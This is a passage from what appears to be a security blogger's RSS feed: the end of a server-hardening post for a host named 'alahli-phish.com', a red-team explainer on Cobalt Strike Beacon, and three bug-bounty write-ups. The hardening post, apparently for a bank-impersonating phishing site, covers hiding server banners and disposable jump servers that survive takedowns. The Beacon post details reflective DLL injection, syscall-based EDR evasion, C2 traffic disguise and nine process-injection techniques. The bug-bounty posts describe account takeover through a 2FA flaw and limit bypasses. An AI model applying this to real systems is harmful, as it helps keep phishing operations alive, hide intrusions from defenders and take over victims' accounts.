*:443&gt;<br> ServerName 123.45.67.89<br> Redirect 403 /<br> DocumentRoot /dev/null<br> SSLEngine on<br>&lt;/VirtualHost&gt;</pre><pre>sudo a2ensite 999-block-ip.conf<br>sudo systemctl reload apache2</pre><h3>Removing Verbose Information</h3><p>if u did curl -I <a href="https://alahli-phish.com/">https://alahli-phish.com</a><br>will see Server: Apache/2.4.58 (Ubuntu)<br><strong>→ Disaster, everyone knows you’re on Ubuntu</strong></p><p>1- Lets keep it silent</p><pre>sudo nano /etc/apache2/conf-available/security.conf<br>ServerTokens Prod<br>ServerSignature Off<br>Than<br>sudo a2enmod headers<br>sudo systemctl reload apache2<br>test againe<br>curl -I https://alahli-phish.com</pre><p>2- Let him lie</p><pre>1- sudo apt install libapache2-mod-security2 -y<br>2- sudo systemctl restart apache2<br>3- sudo nano /etc/apache2/conf-available/security.conf<br>Add in the button:<br>&lt;IfModule security2_module&gt;<br> SecRuleEngine On<br> SecServerSignature &quot;LiteSpeed&quot;<br>&lt;/IfModule&gt;<br># Hide SSH Banner<br>sudo nano /etc/ssh/sshd_config<br>Add in the button:<br>DebianBanner no<br>Than<br>sudo systemctl restart sshd</pre><h3><strong>SSH Configuration</strong></h3><p>1. Create an SSH key (from your device)</p><pre>ssh-keygen -t ed25519 -C &quot;alahli-phish&quot;<br>will save in /.ssh/id_ed25519</pre><p>2. Upload the key to the server</p><pre>1- ssh-copy-id root@123.45.67.89<br>OR<br>2- cat ~/.ssh/id_ed25519.pub<br>-Copy what appeared → onto the server:<br>mkdir -p ~/.ssh<br>echo &quot; ur key &quot; &gt;&gt; ~/.ssh/authorized_keys<br>chmod 600 ~/.ssh/authorized_keys<br>Password lock<br>sudo nano /etc/ssh/sshd_config<br>PasswordAuthentication no<br>PubkeyAuthentication yes<br>Than <br>sudo systemctl restart sshd<br>Test.. Try entering with your password → Rejected</pre><p>4. Jump Server (Fortress)</p><p>A Jump Server is a cheap front-facing VPS that receives all traffic and silently forwards it to your hidden real server. <br>If the Jump gets blocked, delete it and spin up a new one in 60 seconds — your core server stays invisible and untouched. <br>Think: The shield burns, the fortress lives.</p><pre># on Ur Server<br>sudo ufw allow from 5.6.7.8 to any port 22<br>sudo ufw deny 22<br>sudo ufw reload<br>Test<br>ssh root@5.6.7.8 # Jump<br>ssh root@123.45.67.89 # Server</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*5z7SCRS4p03izkNkPb4LSQ.png" /></figure><p>Thanks for the read — keep hacking 👾 stay tuned for part 2!</p><p>My Account: <a href="https://x.com/0XDbgMan?t=nTGSc_frg40NlQw4xPkrTw&amp;s=35">https://x.com/0XDbgMan?t=nTGSc_frg40NlQw4xPkrTw&amp;s=35</a></p><p>Don’t forget to check out my Notse: <a href="https://www.notion.so/Red-Team-Notes-26dabf92dc0f800ebb7ee35a93d2ea58">https://www.notion.so/Red-Team-Notes-26dabf92dc0f800ebb7ee35a93d2ea58?source=copy_link</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=48f242d2ad49" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Beacon as You’ve Nnever Seen it Before]]></title>
            <link>https://medium.com/@DbgMan/beacon-as-youve-nnever-seen-it-before-4e8766fa0aa4?source=rss-c764dd1f18ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/4e8766fa0aa4</guid>
            <dc:creator><![CDATA[Abdelrahman Y. (DbgMan)]]></dc:creator>
            <pubDate>Sat, 18 Oct 2025 17:18:01 GMT</pubDate>
            <atom:updated>2025-11-22T22:18:00.478Z</atom:updated>
            <content:encoded><![CDATA[<h3>Beacon as You’ve Never Seen it Before</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*MUsbirFWp6XMBdvrKXRpPg.png" /></figure><blockquote><em>Hi — I’m DebuggerMan, a Red Teamer , This post dives into Beacons: what they are, how they run in memory, the evolution of loaders (including prepended/Kayn styles), and the security implications defenders need to know </em>let’s jump in</blockquote><h3>What is Beacon?</h3><p>A Beacon is a small agent used in Red Team operations to maintain communication between a compromised system and its command-and-control (C2) server.<br> It quietly checks in, receives tasks, and sends back results — acting as the heartbeat of post-exploitation activity.</p><h3><strong>Beacon Types</strong></h3><p>1- <strong>Egress (Exit):</strong> Connects directly to the C2 across the network (e.g., HTTP/HTTPS, DNS )</p><p>2- <strong>Peer-to-Peer (P2P) </strong>: Doesn’t connect directly to the C2; it forwards traffic through another Beacon (Examples: SMB, TCP → treated as P2P in this context.)<em> </em>→ Ultimately, a chain of P2P Beacons must terminate at an egress Beacon for traffic to reach the server .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OcD0Am_6VPOWJ0Zyy3dMuQ.png" /></figure><h3>Payloads Types:</h3><p>1- <strong>Stager Payload</strong>: Used when resources are limited, such as sending a small “beacon” before downloading the full payload.</p><p>2- <strong>Stageless Payload</strong>: Used when sufficient resources are available, with a focus on secure communication and speed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/297/1*EqCGZ4cDEC6Nk4QiJ574xw.png" /></figure><blockquote>Example : Dll , Exe , Ps1 , xprocess.bin , xthread.bin , macro (Vba) , hta ...</blockquote><p><strong>Use xthread</strong>: if you injected a beacon into an existing process on the victim (such as explorer.exe or notepad.exe), so that the process doesn’t kill itself and cause suspicion (such as abruptly closing the program)</p><p><strong>Use xprocess:</strong> if you created a new process (such as a small .exe), so that it can be terminated completely without any traces</p><p><strong>Note: This HTA &amp; Vba always delivers an x86 Beacon payload</strong></p><h3>How Beacon Operates in Memory</h3><p>Beacon, a key component in tools like Cobalt Strike, is a payload that runs stealthily in a target’s memory to maintain C2 (Command and Control) communication. It avoids disk writes to evade antivirus and EDR tools. Here’s how it loads and executes:</p><h4>CreateRemoteThread() :</h4><p>This API launches a fresh thread inside the victim’s process (e.g., notepad.exe). The thread jumps straight into running the Beacon code that’s already placed in memory, allowing immediate execution without external dependencies.</p><h4>Reflective DLL Injection (RDI) :</h4><p>Developed by Stephen Fewer around 2010, RDI enables loading a DLL straight from memory into another process, skipping disk storage and traditional loaders like LoadLibrary. This makes it harder for security solutions to detect, as no files are created on the filesystem.</p><h4>RDI Process Overview (Step-by-Step) :</h4><p>Before Cobalt Strike version 4.11, manual RDI was often required for custom setups. RDI injects and maps the DLL reflectively in memory. The steps below outline the flow, drawing from implementations like Stephen Fewer’s and integrations in frameworks such as Meterpreter. It works locally or remotely (using functions like LoadRemoteLibraryR).</p><h4>Initial Setup Phase :</h4><ol><li>Gain Access to the Target Process : Use OpenProcess to get a handle with necessary permissions (e.g., for thread creation, VM operations, writing, and reading). This grants control over the remote process’s memory space.</li></ol><p>— API Signature: HANDLE OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);</p><ol><li><strong>Reserve Memory in the Target</strong> : Call VirtualAllocEx to carve out room in the process’s virtual address space, sized according to the DLL’s PE header details.</li></ol><p>— <strong>API Signature</strong>: LPVOID VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);</p><p>— Start with PAGE_READWRITE permissions for easy writing.</p><ol><li><strong>Transfer DLL Data to Memory</strong> : Push the DLL’s binary data into the allocated spot via WriteProcessMemory.</li></ol><p>— <strong>API Signature</strong>: BOOL WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T lpNumberOfBytesWritten);</p><ol><li><strong>Identify ReflectiveLoader Position</strong> : Scan the DLL’s in-memory export directory to calculate the offset for the ReflectiveLoader export — a special function that handles self-mapping.</li></ol><p>— Rely on utilities like GetReflectiveLoaderOffset for name-based searches or RVA-to-offset conversions.</p><ul><li>Runtime and Self-Mapping Phase :</li></ul><ol><li><strong>Initiate the Execution Thread</strong> : Kick off a remote thread via CreateRemoteThread, directing it to the ReflectiveLoader’s location (base address plus offset). Optional args can be passed through parameters.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*NAqbc2PyH_sMIP1xZKF5Cw.png" /></figure><p>— <strong>API Signature</strong>: HANDLE CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);</p><p>— This activates the DLL’s internal reflective logic.</p><h4>ReflectiveLoader Runs :</h4><p>— 6.1: Detect Loaded Base Address : Search memory backward for MZ/PE signatures to pinpoint where the DLL landed (via a caller() trick and validation loops for DOS/NT headers).</p><p>— 6.2: Locate Essential Kernel Functions : Grab the Process Environment Block (PEB) using CPU registers (like GS/FS). Loop through loaded modules in the InMemoryOrder chain, apply a custom hash (e.g., ROT13-style) to names, and dig into kernel32.dll’s EAT for pointers to key APIs such as LoadLibraryA, GetProcAddress, and VirtualAlloc.</p><p>— 6.3: Prepare Fresh Memory for Mapping : Invoke VirtualAlloc to claim space matching the DLL’s full image size (pulled from the Optional Header).</p><p>— 6.4: Map Headers and Sections : Duplicate PE headers initially, then process each section (based on NumberOfSections count), relocating them to the new base using RVAs (Relative Virtual Addresses).</p><p>— 6.5: Handle Relocations (If Applicable) : Check for a base relocation directory; if present, tweak pointers by calculating the difference (delta) between expected and actual bases.</p><p>— 6.6: Fix Import Table (IAT) : Examine the Import Directory, then leverage the resolved APIs (LoadLibraryA/GetProcAddress) to pull in dependencies and patch the IAT entries.</p><p>— 6.7: Wrap Up and Launch Entry : Clear the instruction cache if required, invoke DllMain (or equivalent) with flags like DLL_PROCESS_ATTACH, perform cleanup, and hand back execution flow.</p><p>In essence, once loaded, Beacon uses this in-memory setup to periodically “phone home” to the C2 server, execute tasks, and stay hidden. Post-4.11 Cobalt Strike versions automate much of this for easier deployment. Always note: These techniques are for educational/red teaming purposes — misuse is unethical and illegal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*cPzTnuhxkoOdcWDN6Ca5Ug.png" /></figure><h3>The new prepended loader</h3><p>Since Cobalt Strike 4.11, Beacon has begun to use a new style of reflective loader based on the one used by DoublePulsar. This was built by the NSA and leaked by The Shadow Brokers hacker group. The loader is famous for its association with EternalBlue and WannaCry.</p><p>This is a ‘prepended’ loader, which means the reflective loader is prepended to the front of a PE rather than being part of it. The following diagram from Fortra shows the difference between the two loader styles.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LtP_SAPjdg0e8d7am0p7nw.png" /></figure><h3>System Call</h3><p>Description: This setting makes Beacon use syscalls instead of regular Win32 APIs (such as CreateRemoteThread or LoadLibrary) for its internal operations. This is more stealthy because syscalls interact directly with the kernel and are not as easily detected by EDR/AV as regular API calls</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/408/1*tjBti04dwL7YHbB-8WsYCg.png" /></figure><h4>options:</h4><p><strong>Direct</strong>: Uses the Nt version of the function directly (e.g., NtCreateThreadEx instead of CreateThread). This is faster, but can be more revealing if the EDR monitors pure syscalls.</p><p><strong>Indirect</strong>: Jumps to the appropriate instruction within the Nt* version of the function. This is more complex and stealthy because it doesn’t call the syscall directly, but rather partially emulates it.</p><p><strong>Benefit</strong>: Reduces traces in event logs or hooks used by AVs, especially in fortified environments like Windows Defender or CrowdStrike. Choosing Indirect is better for advanced evasion.</p><h3>Payload security</h3><p>Cobalt Strike’s team server generates a<strong> unique public/private</strong> keypair on startup. Stageless payloads embed the public key, allowing Beacon to encrypt metadata and communicate only with its originating server. Each Beacon also uses a unique session key (sent in encrypted metadata) for tasking/output encryption/decryption, preventing easy MITM hijacking.</p><p>Stagers, being small, lack this security: they connect to configured hosts/ports without validation, making them vulnerable to initial hijacking when fetching the full stage</p><h3><strong>Host Rotation Strategies :</strong></h3><p>1- <strong>Random</strong>: Each request can go to any host in the list randomly.</p><p>2- <strong>Round-robin</strong>: It goes through the list sequentially, one after the other.</p><p>3- <strong>Failover </strong>: It stays on one host; if that host fails, it moves to the next one.</p><p>4- <strong>Rotate (temporal)</strong>: Uses a given host for a set period of time, then switches to the next</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rHdEoq7lh44byg03-yandA.png" /></figure><h3><strong>Behavior if All Hosts Fail</strong></h3><p>1- None: The Beacon does not exit-it continues running indefinitely.</p><p>2- Exit: The Beacon increases its sleep time progressively and, if failures persist, exits ( an example policy for handling complete loss of communication )</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*IWCHmNajStmo0tse0valAg.png" /></figure><h3>Malleable C2 Profile</h3><p>Changing the Malleable C2 profile in Cobalt Strike is essential to evade default signatures in security products, as public or unmodified profiles are often detected by EDR/IDS tools. It allows customizing Beacon’s network traffic, memory indicators, and behavior to blend with legitimate activity (e.g., mimicking jQuery requests), reducing detection risks and convincing defenders to ignore alerts during operations.</p><p>Build the Profile<br>- Start from existing template <br>- Profile Name : For reports only <br>- Sleep: Interval + jitter; OPSEC-based (60s example, may detect)<br>- User-Agent : Capture real via web bug; avoid mismatch.<br>- SSL: Real cert (LetsEncrypt) on redirectors; for Fronting: on Team Server<br>- SpawnTo: Params for blending; avoid protected/UAC; 64/32-bit; network-natural; test<br>- SMB : Change pipe defaults<br>- DNS : Change defaults; low &amp; slow backup<br>- Staging : Mimic legit request (jQuery CDN); consider stageless<br>- Memory: peclone + Raphael’s blog<br>- HTTP GET : Cookie for metadata; multiple URIs<br>- HTTP POST: Can be GET-only; slow for large data (Raphael’s blog)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vzVAwkkCuf7YBPASE2TRCA.png" /></figure><h3><strong>Avoiding EDRs</strong></h3><p>Weaknesses of traditional methods: Process injections like WriteProcessMemory and CreateRemoteThread have become easy to detect due to Hawking APIs and memory analysis.</p><p><strong>Modern Techniques:</strong></p><p>1- LoLBins: Use legitimate system tools such as PowerShell.</p><p>2- In-Memory Execution: Execute code in memory without a disk.</p><p>3- Indirect Syscalls: Call system calls directly to avoid hooks.</p><p>4- Hawking: EDR uses IAT/EAT hooking, inline hooking, and SSDT/IDT (in the kernel) for detection.</p><h3><strong>C2 Evasion Techniques</strong></h3><h3>server side</h3><p><strong>Malleable C2 Profiles </strong>— frameworks allow customization of C2 communication patterns, including HTTP headers, URIs, and SSL certificates, to mimic legitimate traffic and evade detection</p><ol><li><strong>Encryption and Obfuscation </strong>— Encrypting C2 communications and using obfuscation techniques make it difficult for network monitoring tools to inspect and block malicious traffic</li><li><strong>Domain Fronting </strong>— C2 traffic is routed through different domain names to hide behind trusted services like CDN providers, making it appear as legitimate traffic</li><li><strong>Dynamic Domain Generation Algorithms (DGAs) </strong>— generates new domain names dynamically, making it challenging for defenders to block or track C2 servers effectively</li><li><strong>Redundant C2 Infrastructure </strong>— ensuring operational continuity even if some servers are detected and taken down</li><li><strong>JA3/S Fingerprint Manipulation </strong>— manipulate SSL/TLS client and server fingerprints to avoid matching known malicious profiles, bypassing SSL/TLS fingerprint-based detection</li><li><strong>Custom Protocol Obfuscation </strong>— use protocol obfuscation techniques to mask C2 traffic, making it appear as normal network traffic and evading network-based detection systems</li></ol><h3>client side</h3><p><strong>Code Injection </strong>— Inject malicious code into legitimate processes to avoid detection. Let’s mention some of the injection techniques</p><p><strong>1. Classic Shellcode Injection</strong></p><ul><li>Allocate memory in the target process using VirtualAllocEx with appropriate permissions (e.g., PAGE_EXECUTE_READWRITE).</li><li>Write the malicious shellcode into the allocated memory using WriteProcessMemory.</li><li>Create a remote thread in the target process to execute the shellcode using CreateRemoteThread or execute via callback functions like SetWindowsHookEx.</li></ul><p><strong>2. Hook Injection</strong></p><ul><li>Intercept API calls made by the target process using techniques like IAT/EAT hooking or inline hooking.</li><li>Modify function pointers or overwrite instructions to redirect the intercepted API calls to the malicious code.</li><li>Ensure that the malicious code is executed whenever the hooked API is called by the target process.</li></ul><p><strong>3. Thread Local Storage (TLS) Callback Injection</strong></p><ul><li>Modify the target process’s Portable Executable (PE) header to include a new TLS callback function.</li><li>Embed the malicious code as the TLS callback so it executes during process or thread initialization.</li><li>Ensure the modified PE is loaded by the target process, triggering the execution of the malicious TLS callback.</li></ul><p><strong>4. Asynchronous Procedure Call (APC) Injection</strong></p><ul><li>Allocate executable memory in the target process using VirtualAllocEx.</li><li>Write the malicious code into the allocated memory using WriteProcessMemory.</li><li>Queue an APC to a target thread in the process using QueueUserAPC, pointing to the malicious code.</li><li>Resume or alert the thread to ensure it reaches an alertable state and executes the APC.</li></ul><p><strong>5. Exception Handling Hijacking Injection</strong></p><ul><li>Allocate memory in the target process using VirtualAllocEx for the malicious code and the modified exception handler.</li><li>Write the malicious code and a custom exception handler into the allocated memory using WriteProcessMemory.</li><li>Modify the target process’s exception handling structures (e.g., the Structured Exception Handling chain) to point to the custom handler.</li><li>Trigger an exception (e.g., divide by zero) in the target process to invoke the custom exception handler and execute the malicious code.</li></ul><p><strong>6. Process Hollowing</strong></p><ul><li>Create a new suspended process (e.g., using CreateProcess with the CREATE_SUSPENDED flag).</li><li>Unmap or hollow out the memory of the target process’s main executable section using functions like ZwUnmapViewOfSection.</li><li>Allocate memory in the target process for the malicious executable.</li><li>Write the malicious executable into the allocated memory using WriteProcessMemory.</li><li>Adjust the entry point of the process to point to the malicious code.</li><li>Resume the main thread of the process to execute the malicious code.</li></ul><p><strong>7. Reflective DLL Injection</strong></p><ul><li>Load a DLL into memory without using the Windows loader, typically from memory rather than disk.</li><li>Use a reflective loader within the DLL to map the DLL into the target process’s memory space.</li><li>Execute the DLL’s entry point or exported functions within the target process.</li><li>This technique avoids touching disk and can bypass some security controls that monitor disk-based operations.</li></ul><p><strong>8. Process Doppelgänging</strong></p><ul><li>Abuse the Windows Transactional NTFS (TxF) feature to create a malicious process.</li><li>Create a transaction and overwrite a legitimate executable within the transaction.</li><li>Create a process from the modified executable within the transaction.</li><li>Commit or roll back the transaction, which doesn’t affect the in-memory image, thus running the malicious code under the guise of a legitimate process.</li></ul><p><strong>9. Kernel-Mode Driver Injection</strong></p><ul><li>Load a malicious kernel-mode driver into the operating system.</li><li>Utilize methods like exploiting vulnerable drivers or disabling driver signature enforcement to load unsigned drivers.</li><li>The malicious driver can execute code with kernel-level privileges, potentially bypassing user-mode security controls</li></ul><h4><strong>Note : Take This part From : </strong><a href="https://darkentry.net/nl/blogs/how-c2-works-in-depth-part-3"><strong>https://darkentry.net/nl/blogs/how-c2-works-in-depth-part-3</strong></a></h4><h3>OPSEC</h3><p>To minimize size, stagers omit modern “best practices” like avoiding RWX memory (which flags as anomalous in Windows processes). Stageless payloads allocate RW memory first, then switch to RX before execution via extra API calls (e.g., VirtualProtect) for evasion. Stagers skip this to save bytes, often hand-optimized in assembly.</p><p>Size comparison: Beacon stager ~890 bytes; full stageless stage ~307,200 bytes (~345x larger). This trade-off prioritizes compactness for constrained exploits but increases initial detection risk.</p><h4>Note</h4><ul><li>Stageless payloads encrypt data (with public key + session key) and include Reflective Loader for full memory loading;</li><li>stagers do not (small size, no encryption/validation, fetch stage later)</li></ul><p>But You Can encryption stagers after get all</p><h3>Note:</h3><p>1- When you send a command, Beacon temporarily launches PowerShell (or CMD) in memory to execute it, then closes the session immediately afterward to minimize traces.</p><p>2- If Beacon is in sleep mode in memory, it applies obfuscation to its shellcode to hide it from detection.</p><h3>References</h3><p><a href="https://wajid-nawazish.medium.com/developing-custom-shellcode-in-x64-57172a885d77">Developing custom shellcode in x64</a></p><p><a href="https://www.netskope.com/resources/white-papers/effective-c2-beaconing-detection-white-paper">https://www.netskope.com/resources/white-papers/effective-c2-beaconing-detection-white-paper</a></p><p><a href="https://darkentry.net/nl/blogs/how-c2-works-in-depth-part-3">How C2 Works In-Depth [Part 3]</a></p><p><a href="https://www.youtube.com/watch?v=gSeHs43E0qs">https://www.youtube.com/watch?v=gSeHs43E0qs</a></p><p>My Account: <a href="https://x.com/0XDbgMan?t=nTGSc_frg40NlQw4xPkrTw&amp;s=35">https://x.com/0XDbgMan?t=nTGSc_frg40NlQw4xPkrTw&amp;s=35</a></p><p>Don’t forget to check out my notation : <a href="https://www.notion.so/Red-Team-Notes-26dabf92dc0f800ebb7ee35a93d2ea58?source=copy_link">https://www.notion.so/Red-Team-Notes-26dabf92dc0f800ebb7ee35a93d2ea58?source=copy_link</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4e8766fa0aa4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[They Trusted 2FA, I Trusted My Logic,ATO]]></title>
            <link>https://medium.com/@DbgMan/they-trusted-2fa-i-trusted-my-logic-ato-0ad5742865cd?source=rss-c764dd1f18ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/0ad5742865cd</guid>
            <dc:creator><![CDATA[Abdelrahman Y. (DbgMan)]]></dc:creator>
            <pubDate>Tue, 03 Jun 2025 10:59:18 GMT</pubDate>
            <atom:updated>2025-08-22T22:26:59.859Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*hmG0hvdlrNski61mBjzoMQ.png" /></figure><p><strong>‘اللهم صلِّ وسلِّم على سيدنا محمد عليه أفضل الصلاة والسلام’</strong></p><p>Yo Hackers!</p><p>You know me — I’m not really the “do full recon first” kind of guy <br>I just dive straight into the main site like I own the place.</p><p>So there I was, poking around random functions like a tourist with no plan.<br>Most of it looked pretty basic… until I stumbled on 2FA.<br>Something about it felt off — like it was trying too hard to look secure.</p><p>And that’s when the real journey began</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*s6Whj09zD3YgW3E6.gif" /></figure><p>When you create an account, you have to activate it first.<br>Okay, so what can we think here?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p97KxTk-HHr_tCKcojk6aQ.png" /></figure><p>Let’s take it step by step.</p><p>1- I tried swapping the token between the two emails — no luck.</p><p>2- I tried blocking the request with Burp and changing the email — still no luck.</p><p>3- I tried getting a new token and putting the new email — didn’t work.</p><p>4- I even tried a race condition attack — nope.<br>Tried almost every trick, but nothing worked at all.</p><p>So how do we bypass it?</p><p>I found something weird with the 2FA.</p><p><strong>What made me feel something was off with the 2FA was that when I tried to disable it, it didn’t ask for anything extra</strong></p><h3><strong>Remember this</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/0*H5rmTo6B4RlzjOrB.gif" /></figure><p>Normally, when you change the email to a new one, a verification link is sent to the new email.<br>But I bypassed that via 2fa — nothing gets sent there, and I get full control 💀</p><p>first create account than verification him</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aXkbxtkU9azzdYEB-TgJjg.png" /></figure><p>than enable 2FA</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y-PCIc4vDQnn6IhiWeABjA.png" /></figure><p>the miss is here if you change the email to victim email well send a 2fa code to ur email l!!!</p><p>than you can get the victim emaill without anythink</p><p>lets see</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ifMD_gmi_lfFyuj96TqLMw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*iH4EAwQfZNU-MzO4gVahRA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5GWwyLJ-Aoqt1hlZ_QBBoA.png" /></figure><p>nowwww</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pj0iODgWf4x5dw9ZqQ6NmQ.png" /></figure><p>we have the victim account</p><p>but with we dont have the account if we log out than join the 2fa will send to the victim email and we dont have it</p><p>so after you take te victim email disable the 2fa <strong>i told you Remember this</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*06JE0stuij7-NaDMwhP21g.png" /></figure><p>thann</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-nJ4bMZt6AsXTCBDPOrt_Q.png" /></figure><p>you have a full controll!!!</p><p>and lets check if the victim email have any massege</p><p>booom nothing</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oPvd1P4FnaPrYlNqw3nvWQ.png" /></figure><p>happy hack pro!</p><p>find me:</p><p>tel user : ippvuln</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0ad5742865cd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Got Kicked Out? No Problem, I Just Walked Back In as Admin]]></title>
            <link>https://medium.com/@DbgMan/got-kicked-out-no-problem-i-just-walked-back-in-as-admin-901d7350fb76?source=rss-c764dd1f18ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/901d7350fb76</guid>
            <dc:creator><![CDATA[Abdelrahman Y. (DbgMan)]]></dc:creator>
            <pubDate>Thu, 06 Mar 2025 23:43:15 GMT</pubDate>
            <atom:updated>2025-08-22T22:28:43.210Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jXGXUdFY9-eE2XJJnufy7w.jpeg" /></figure><p><strong>‘اللهم صلِّ وسلِّم على سيدنا محمد عليه أفضل الصلاة والسلام’</strong></p><p>Yo Hackers!</p><p>While doing recon, I stumbled upon a platform that allows organizations to invite members with different roles. Seemed interesting, so I started testing a few things.</p><p>And guess what? I found something crazy!</p><ol><li>If someone invites you as an <strong>admin</strong>, you can obviously join as an admin.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yc5h1G13rWryTL-qKZ-Okg.png" /></figure><p>2. But if they kick you out, you’re supposed to lose access, right?</p><p><strong>So, I started testing different ways to bypass this…</strong></p><p>- First, I tried reusing the original invite link — <strong>didn’t work. </strong><br>- Then, I went for race condition attacks — <strong>no luck. </strong><br>- Tried various request manipulations — <strong>still nothing.</strong></p><p><strong>And then, the trick…</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MPVFuiU0SGZjAiNqpOZ8jQ.png" /></figure><p>I simply added <strong>/</strong> at the end of the invite token</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sf_bYym1fYkaJ-U5rKj8-Q.png" /></figure><p><strong>hit enter, and… BOOM!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6qA6QLUhTOtfazJifwIH4g.png" /></figure><p>The invite worked again, and the system thought it was a brand-new invite!</p><p>So yeah… I got kicked, but I walked right back in as an admin! 🤡</p><p>Feature or bug? You decide! 😂</p><p>THAN :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8n1TffOPst7OK2HVAaGVDQ.png" /></figure><p>find me:</p><p>tel : ippvuln</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=901d7350fb76" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Tricked an Organization into Accepting Unlimited Applications!]]></title>
            <link>https://medium.com/@DbgMan/how-i-tricked-an-organization-into-accepting-unlimited-applications-d1ef5c9aef6d?source=rss-c764dd1f18ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/d1ef5c9aef6d</guid>
            <dc:creator><![CDATA[Abdelrahman Y. (DbgMan)]]></dc:creator>
            <pubDate>Wed, 05 Mar 2025 23:16:05 GMT</pubDate>
            <atom:updated>2025-08-22T22:29:16.559Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jXGXUdFY9-eE2XJJnufy7w.jpeg" /></figure><p><strong>‘اللهم صلِّ وسلِّم على سيدنا محمد عليه أفضل الصلاة والسلام’</strong></p><p>Yo Hackers!</p><p>Today, I’ve got another spicy one for you — a bypass that lets you add more applications than allowed in an organization!</p><p>Let’s dive in!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*1UwqJe2UJKraGxEDMZadow.gif" /></figure><p>While doing recon, I came across a platform that lets each organization create up to <strong>3 applications.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dpqo8QoYGx_p3xIDXeej5w.jpeg" /></figure><p>Sounds fair, right? <strong>But as hackers, we don’t like limits</strong>. So, challenge accepted!</p><p>Tried the usual tricks: <br>- Added 2 applications, then tried <strong>race conditions</strong> using parallel and sequential requests. <strong>No luck</strong>. <br>- Sent fake headers to trick the system. <strong>Still no luck. </strong><br>- Tried multiple other methods —<strong> nothing worked.</strong></p><p><strong>Now, time for the real trick.</strong></p><ol><li>Created two applications and named them both ”Test”. <br>2. For the third one, I intercepted the request, added a local header, and sent multiple parallel requests using <strong>Burp Intruder.</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sbaVX48HJ0puy7Cs8gDTDA.jpeg" /></figure><p>3. And guess what? <strong>The system accepted it! </strong>🤡</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BPPhmnEUMfHkhuLopjyMBw.jpeg" /></figure><p>Why? Because all applications had the same name, whichconfused the system into thinking they were duplicates instead of separate entries.</p><p>Then, I simply renamed them, and boom — bypass complete!</p><p>Than :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JcIAOm9uULYyCmxki_TM1w.png" /></figure><p>find me:</p><p>tel user : ippvuln</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d1ef5c9aef6d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Hacked a CTF Company with a Simple Email Verification Bypass]]></title>
